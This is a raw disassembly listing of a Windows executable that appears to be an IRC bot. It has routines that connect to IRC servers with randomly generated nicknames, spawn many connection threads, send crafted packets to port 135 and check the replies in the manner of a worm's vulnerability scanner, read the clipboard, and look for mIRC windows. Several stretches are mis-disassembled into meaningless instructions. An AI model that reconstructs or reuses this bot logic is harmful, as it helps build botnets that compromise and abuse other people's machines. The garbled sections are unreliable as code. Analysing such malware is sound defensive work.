call ds:dword_451540
loc_416DF6: ; CODE XREF: seg000:00416DDCj
; seg000:00416DE1j
add esi, 210h
cmp esi, offset dword_4EDCA4
jl short loc_416DD8
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E07 proc near ; CODE XREF: sub_416F00+152p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
push edi
push offset asc_44D7E0 ; " "
push [ebp+arg_0]
call sub_41D6B0
pop ecx
mov [ebp+var_20], eax
pop ecx
lea esi, [ebp+var_1C]
push 7
xor ebx, ebx
pop edi
loc_416E2D: ; CODE XREF: sub_416E07+39j
push offset asc_44D7E4 ; " "
push ebx
call sub_41D6B0
mov [esi], eax
pop ecx
add esi, 4
dec edi
pop ecx
jnz short loc_416E2D
cmp [ebp+var_20], ebx
mov esi, [ebp+var_1C]
jnz short loc_416E56
cmp esi, ebx
jnz short loc_416E56
push 1
pop eax
jmp loc_416EFB
; ---------------------------------------------------------------------------
loc_416E56: ; CODE XREF: sub_416E07+41j
; sub_416E07+45j
push [ebp+var_20]
push offset aPing_2 ; "PING"
call sub_41D900
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_416E80
lea eax, [ebp+var_220]
push offset aPongS_0 ; "PONG %s\n"
push eax
call sub_41D260
add esp, 0Ch
jmp short loc_416EDA
; ---------------------------------------------------------------------------
loc_416E80: ; CODE XREF: sub_416E07+61j
push offset a433 ; "433"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz short loc_416EA1
push esi
push offset a432 ; "432"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_416EF9
loc_416EA1: ; CODE XREF: sub_416E07+87j
push 200h
lea eax, [ebp+var_420]
push ebx
push eax
call sub_41D100
lea eax, [ebp+var_420]
push eax
call sub_417120
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset aNickS_3 ; "NICK %s\n"
push eax
call sub_41D260
add esp, 1Ch
loc_416EDA: ; CODE XREF: sub_416E07+77j
lea eax, [ebp+var_220]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call ds:dword_451540
loc_416EF9: ; CODE XREF: sub_416E07+98j
xor eax, eax
loc_416EFB: ; CODE XREF: sub_416E07+4Aj
pop edi
pop esi
pop ebx
leave
retn
sub_416E07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F00 proc near ; DATA XREF: seg000:00417103o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41DEB0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4E758C[esi]
mov ds:dword_4E7580[esi], edi
push ds:dword_4E778C[esi]
push eax
call sub_416D3A
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov ds:dword_4E7584[esi], eax
jb loc_417082
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41D100
lea eax, [ebp+var_2008]
push eax
call sub_417120
lea eax, [ebp+var_4008]
push eax
call sub_417120
lea eax, [ebp+var_3008]
push eax
call sub_417120
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41D260
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push ds:dword_4E7584[esi]
call ds:dword_451540
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41D100
add esp, 0Ch
loc_416FD9: ; CODE XREF: sub_416F00+10Ej
; sub_416F00+17Dj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41D100
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push ds:dword_4E7584[esi]
call ds:dword_45150C
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_417082
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_416FD9
loc_417010: ; CODE XREF: sub_416F00+17Bj
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417037
cmp al, 0Ah
jz short loc_417037
cmp [ebp+arg_0], 0FA0h
jz short loc_417037
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_417071
; ---------------------------------------------------------------------------
loc_417037: ; CODE XREF: sub_416F00+119j
; sub_416F00+11Dj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_417071
push ds:dword_4E7584[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_416E07
pop ecx
test eax, eax
pop ecx
ja short loc_417082
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_417071: ; CODE XREF: sub_416F00+135j
; sub_416F00+13Cj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417010
jmp loc_416FD9
; ---------------------------------------------------------------------------
loc_417082: ; CODE XREF: sub_416F00+40j
; sub_416F00+104j ...
mov ds:dword_4E7580[esi], ebx
mov esi, ds:dword_4E7584[esi]
cmp esi, ebx
jbe short loc_417099
push esi
call ds:dword_451588
loc_417099: ; CODE XREF: sub_416F00+190j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_416F00 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+10h], ebx
push esi
push edi
mov [ebp-4], ebx
jle short loc_41711B
loc_4170B4: ; CODE XREF: seg000:00417119j
xor edi, edi
mov eax, offset dword_4E7580
loc_4170BB: ; CODE XREF: seg000:004170CAj
cmp [eax], ebx
jz short loc_4170CC
add eax, 210h
inc edi
cmp eax, offset dword_4EDCA0
jl short loc_4170BB
loc_4170CC: ; CODE XREF: seg000:004170BDj
cmp edi, 31h
jz short loc_41711B
mov esi, edi
push dword ptr [ebp+8]
imul esi, 210h
lea eax, dword_4E758C[esi]
push eax
call sub_41E550
mov eax, [ebp+0Ch]
pop ecx
mov ds:dword_4E778C[esi], eax
pop ecx
lea eax, [ebp-8]
mov ds:dword_4E7580[esi], 1
push eax
push ebx
push edi
push offset sub_416F00
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
inc dword ptr [ebp-4]
mov eax, [ebp-4]
cmp eax, [ebp+10h]
jl short loc_4170B4
loc_41711B: ; CODE XREF: seg000:004170B2j
; seg000:004170CFj
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417120 proc near ; CODE XREF: sub_416E07+B3p
; sub_416F00+60p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41D100
add esp, 0Ch
call sub_41DBA0
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul ds:dbl_4394C0
call sub_41F33C
cmp eax, 1
jnz short loc_41716A
call sub_41DBA0
call sub_41DBA0
push 66h
cdq
pop ecx
idiv ecx
push ds:off_44CE60[edx*4]
jmp short loc_417183
; ---------------------------------------------------------------------------
loc_41716A: ; CODE XREF: sub_417120+2Fj
call sub_41DBA0
call sub_41DBA0
cdq
mov ecx, 0C0h
idiv ecx
push ds:off_44CB60[edx*4]
loc_417183: ; CODE XREF: sub_417120+48j
lea eax, [ebp+var_2C]
push eax
call sub_41E550
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41AC70
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394B8
call sub_41F33C
mov ebx, eax
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4394B0
call sub_41F33C
cmp esi, 2
mov edi, offset a__1 ; "-|`_\\{[]}"
jle short loc_4171F6
cmp esi, 3
jnz short loc_4171ED
cmp ebx, 1
jz short loc_4171F6
loc_4171ED: ; CODE XREF: sub_417120+C6j
cmp eax, 1
jnz loc_4172B0
loc_4171F6: ; CODE XREF: sub_417120+C1j
; sub_417120+CBj
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394A8
call sub_41F33C
push ds:off_44CE60[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41E550
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41E650
add esp, 10h
test eax, eax
jnz short loc_41729D
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41E650
pop ecx
test eax, eax
pop ecx
jnz short loc_41729D
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4394B0
call sub_41F33C
cmp eax, 1
jnz short loc_41729D
push edi
call sub_41AC70
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul ds:dbl_4394B0
call sub_41F33C
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_41729D: ; CODE XREF: sub_417120+111j
; sub_417120+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41E710
add esp, 0Ch
loc_4172B0: ; CODE XREF: sub_417120+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41AC70
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_420630
pop ecx
test eax, eax
pop ecx
jnz loc_417518
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41E650
pop ecx
test eax, eax
pop ecx
jnz loc_41740F
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4394B0
call sub_41F33C
cmp esi, 3
jz short loc_41731E
cmp eax, 1
jnz loc_41740F
loc_41731E: ; CODE XREF: sub_417120+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_417360
push edi
call sub_41AC70
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4394B0
call sub_41F33C
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_41737C
; ---------------------------------------------------------------------------
loc_417360: ; CODE XREF: sub_417120+207j
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394A0
call sub_41F33C
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_41737C: ; CODE XREF: sub_417120+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_439498
call sub_41F33C
cmp esi, 3
jz short loc_4173A5
cmp eax, ebx
jnz short loc_41740F
loc_4173A5: ; CODE XREF: sub_417120+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4173EA
push edi
call sub_41AC70
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul ds:dbl_4394B0
call sub_41F33C
mov al, byte ptr ds:a__1[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_417408
; ---------------------------------------------------------------------------
loc_4173EA: ; CODE XREF: sub_417120+28Fj
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394A0
call sub_41F33C
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_417408: ; CODE XREF: sub_417120+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_41740F: ; CODE XREF: sub_417120+1C9j
; sub_417120+1F8j ...
cmp esi, 6
jge loc_417498
cmp esi, 5
jge short loc_417430
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394B8
jmp short loc_41744E
; ---------------------------------------------------------------------------
loc_417430: ; CODE XREF: sub_417120+2FBj
call sub_41DBA0
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul ds:dbl_4394B0
loc_41744E: ; CODE XREF: sub_417120+30Ej
call sub_41F33C
test eax, eax
jnz short loc_417471
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_439490
call sub_41F33C
mov cl, 30h
jmp short loc_41748E
; ---------------------------------------------------------------------------
loc_417471: ; CODE XREF: sub_417120+335j
cmp eax, 1
jnz short loc_417498
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_4394A0
call sub_41F33C
mov cl, 41h
loc_41748E: ; CODE XREF: sub_417120+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_417498: ; CODE XREF: sub_417120+2F2j
; sub_417120+354j
cmp [ebp+var_C], 2
jge short loc_417518
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul ds:dbl_4394B0
call sub_41F33C
cmp eax, 1
jnz short loc_417518
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_439490
call sub_41F33C
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_439488
call sub_41F33C
cmp eax, 1
jnz short loc_417518
cmp [ebp+var_C], eax
jge short loc_417518
call sub_41DBA0
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul ds:dbl_439480
call sub_41F33C
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_417518: ; CODE XREF: sub_417120+1B1j
; sub_417120+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41D800
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417120 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417531 proc near ; CODE XREF: sub_417569+125p
; sub_417569+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_41755F
loc_417542: ; CODE XREF: sub_417531+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41EC40
add esp, 0Ch
test eax, eax
jz short loc_417565
inc esi
cmp esi, edi
jl short loc_417542
loc_41755F: ; CODE XREF: sub_417531+Fj
xor al, al
loc_417561: ; CODE XREF: sub_417531+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_417565: ; CODE XREF: sub_417531+27j
mov al, 1
jmp short loc_417561
sub_417531 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417569 proc near ; CODE XREF: seg000:0040AD9Cp
; seg000:0040AE85p ...
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41DEB0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_4175AA
dec eax
jz short loc_417588
dec eax
loc_417582: ; CODE XREF: sub_417569+57j
xor eax, eax
loc_417584: ; CODE XREF: sub_417569+3Fj
; sub_417569+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_417588: ; CODE XREF: sub_417569+16j
push 3
push 1388h
push [ebp+arg_0]
call ds:dword_451530
push eax
call sub_409CC8
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_417584
; ---------------------------------------------------------------------------
loc_4175AA: ; CODE XREF: sub_417569+13j
push 6
push 1
push 2
call ds:dword_451570
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_417582
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41D100
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call ds:dword_4514F4
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_4024FB
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call ds:dword_45149C
cmp eax, edi
jz loc_4176C6
push ebx
push 48h
push offset dword_44D84C
push esi
call ds:dword_451540
cmp eax, edi
jz loc_4176C6
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_45150C
cmp eax, edi
jz loc_4176C6
cmp [ebp+var_200E], 0Ch
jnz short loc_4176C6
push ebx
push 18h
push offset dword_44D898
push [ebp+arg_4]
call ds:dword_451540
cmp eax, edi
jz short loc_4176C6
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call ds:dword_45150C
mov esi, eax
cmp esi, edi
jz short loc_4176C6
cmp [ebp+var_200E], 2
jnz short loc_4176C6
push 10h
push offset dword_44D8B4
lea eax, [ebp+var_2010]
push esi
push eax
call sub_417531
add esp, 10h
test al, al
jz short loc_4176A6
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_4176C6
; ---------------------------------------------------------------------------
loc_4176A6: ; CODE XREF: sub_417569+12Fj
push 10h
push offset dword_44D8C8
lea eax, [ebp+var_2010]
push esi
push eax
call sub_417531
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_4176C6: ; CODE XREF: sub_417569+9Bj
; sub_417569+B2j ...
push [ebp+arg_4]
call ds:dword_451588
mov eax, ebx
pop ebx
jmp loc_417584
sub_417569 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4176D7 proc near ; CODE XREF: seg000:00403948p
; seg000:0040397Cp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_417762
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_417762
cmp [ebp+arg_8], esi
jz short loc_417762
cmp byte ptr [eax], 0
jz short loc_417762
push ebx
push edi
call sub_437BC0
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_41775D
push [ebp+arg_4]
push edi
call sub_41DBE0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_417756
sub eax, edi
push eax
push edi
push ebx
call sub_41D800
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41AC70
push eax
push [ebp+arg_8]
push ebx
call sub_41E710
push [ebp+arg_4]
call sub_41AC70
add eax, esi
push eax
push ebx
call sub_41E560
push ebx
push edi
call sub_41E550
add esp, 30h
mov esi, edi
loc_417756: ; CODE XREF: sub_4176D7+3Cj
push ebx
call sub_41B8B0
pop ecx
loc_41775D: ; CODE XREF: sub_4176D7+2Bj
mov eax, esi
pop ebx
jmp short loc_417764
; ---------------------------------------------------------------------------
loc_417762: ; CODE XREF: sub_4176D7+Cj
; sub_4176D7+13j ...
xor eax, eax
loc_417764: ; CODE XREF: sub_4176D7+89j
pop edi
pop esi
pop ebp
retn
sub_4176D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417768 proc near ; CODE XREF: sub_402EAE+E9p
; sub_411539+F4p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41D100
mov esi, [ebp+arg_0]
push esi
call sub_41AC70
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_41779E
or eax, 0FFFFFFFFh
jmp short loc_417811
; ---------------------------------------------------------------------------
loc_41779E: ; CODE XREF: sub_417768+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_4177C0
loc_4177AA: ; CODE XREF: sub_417768+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_4177B7
cmp dl, 0Dh
jnz short loc_4177BB
loc_4177B7: ; CODE XREF: sub_417768+48j
and byte ptr [ecx+esi], 0
loc_4177BB: ; CODE XREF: sub_417768+4Dj
inc ecx
cmp ecx, eax
jl short loc_4177AA
loc_4177C0: ; CODE XREF: sub_417768+40j
xor edx, edx
push edi
test eax, eax
jle short loc_4177F1
lea edi, [ebp+var_7CC]
loc_4177CD: ; CODE XREF: sub_417768+87j
cmp byte ptr [edx+esi], 0
jnz short loc_4177EC
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_4177EC
cmp ebx, 1F4h
jge short loc_4177F1
mov [edi], ecx
inc ebx
add edi, 4
loc_4177EC: ; CODE XREF: sub_417768+69j
; sub_417768+74j
inc edx
cmp edx, eax
jl short loc_4177CD
loc_4177F1: ; CODE XREF: sub_417768+5Dj
; sub_417768+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_41780F
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41E840
add esp, 0Ch
loc_41780F: ; CODE XREF: sub_417768+8Ej
mov eax, ebx
loc_417811: ; CODE XREF: sub_417768+34j
pop esi
pop ebx
leave
retn
sub_417768 endp
; =============== S U B R O U T I N E =======================================
sub_417815 proc near ; CODE XREF: sub_41786F+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_41784E
push ebx
mov ebx, edi
loc_417832: ; CODE XREF: sub_417815+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_417851
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_417832
pop ebx
loc_41784E: ; CODE XREF: sub_417815+18j
pop edi
pop esi
retn
sub_417815 endp
; =============== S U B R O U T I N E =======================================
sub_417851 proc near ; CODE XREF: sub_417815+25p
; sub_41786F+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_420960
cmp al, 61h
pop ecx
jl short loc_41786C
cmp al, 7Ah
jg short loc_41786C
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_41786C: ; CODE XREF: sub_417851+Ej
; sub_417851+12j
xor eax, eax
retn
sub_417851 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41786F proc near ; CODE XREF: seg000:004162B0p
; seg000:00416335p ...
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41DEB0
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41AC70
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41AC70
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_417815
add esp, 14h
dec esi
mov edi, esi
loc_4178AD: ; CODE XREF: sub_41786F+B6j
test esi, esi
jle short loc_41792B
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_420960
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_420960
pop ecx
cmp eax, ebx
pop ecx
jz short loc_417923
loc_4178D3: ; CODE XREF: sub_41786F+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_417851
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_4178F4
mov eax, ecx
loc_4178F4: ; CODE XREF: sub_41786F+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_417927
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_420960
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_420960
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_4178D3
loc_417923: ; CODE XREF: sub_41786F+62j
dec edi
dec esi
jmp short loc_4178AD
; ---------------------------------------------------------------------------
loc_417927: ; CODE XREF: sub_41786F+8Aj
xor eax, eax
jmp short loc_417930
; ---------------------------------------------------------------------------
loc_41792B: ; CODE XREF: sub_41786F+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_417930: ; CODE XREF: sub_41786F+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_41786F endp
; ---------------------------------------------------------------------------
loc_417935: ; CODE XREF: seg000:0040667Ep
; seg000:0040704Dp
push ebp
mov ebp, esp
sub esp, 100h
push esi
call ds:dword_4F1310 ; RtlGetLastWin32Error
mov esi, eax
push 0
lea eax, [ebp-100h]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 3D0000h
sub cl, [ebp-0FF7Bh]
dec dword ptr [edx+1FF98008h] ; CODE XREF: seg000:0041797Bj
jg short loc_41797A
cmp cl, 9
jnz short loc_41797D
loc_41797A: ; CODE XREF: seg000:00417973j
inc eax
jmp short near ptr loc_41796D+1
; ---------------------------------------------------------------------------
loc_41797D: ; CODE XREF: seg000:00417978j
; seg000:00417990j ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp-100h]
cmp eax, ecx
jb short loc_417997
mov cl, [eax]
cmp cl, 2Eh
jz short loc_41797D
cmp cl, 21h
jl short loc_41797D
loc_417997: ; CODE XREF: seg000:00417989j
lea eax, [ebp-100h]
push esi
push eax
mov esi, offset dword_4EDCD4
push dword ptr [ebp+8]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41D360
add esp, 18h
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4179BF proc near ; CODE XREF: seg000:00407BE3p
push esi
push 0
call ds:dword_4514C4
test eax, eax
jz short loc_4179F6
push 1
call ds:dword_4514E4
mov esi, eax
test esi, esi
jz short loc_4179F6
push edi
push esi
call ds:dword_4F13D8 ; GlobalLock
push esi
mov edi, eax
call ds:dword_4F13D4 ; GlobalUnlock
call ds:dword_451544
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4179F6: ; CODE XREF: sub_4179BF+Bj
; sub_4179BF+19j
xor eax, eax
pop esi
retn
sub_4179BF endp
; =============== S U B R O U T I N E =======================================
sub_4179FA proc near ; CODE XREF: seg000:00406FFCp
push ebp
push esi
xor esi, esi
push esi
push offset aMirc_2 ; "mIRC"
call ds:dword_451500
mov ebp, eax
cmp ebp, esi
jz short loc_417A7A
push ebx
push edi
push offset aMirc_3 ; "mIRC"
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
call near ptr 3D0000h
test eax, 0F88B5656h
push esi
push 0F001Fh
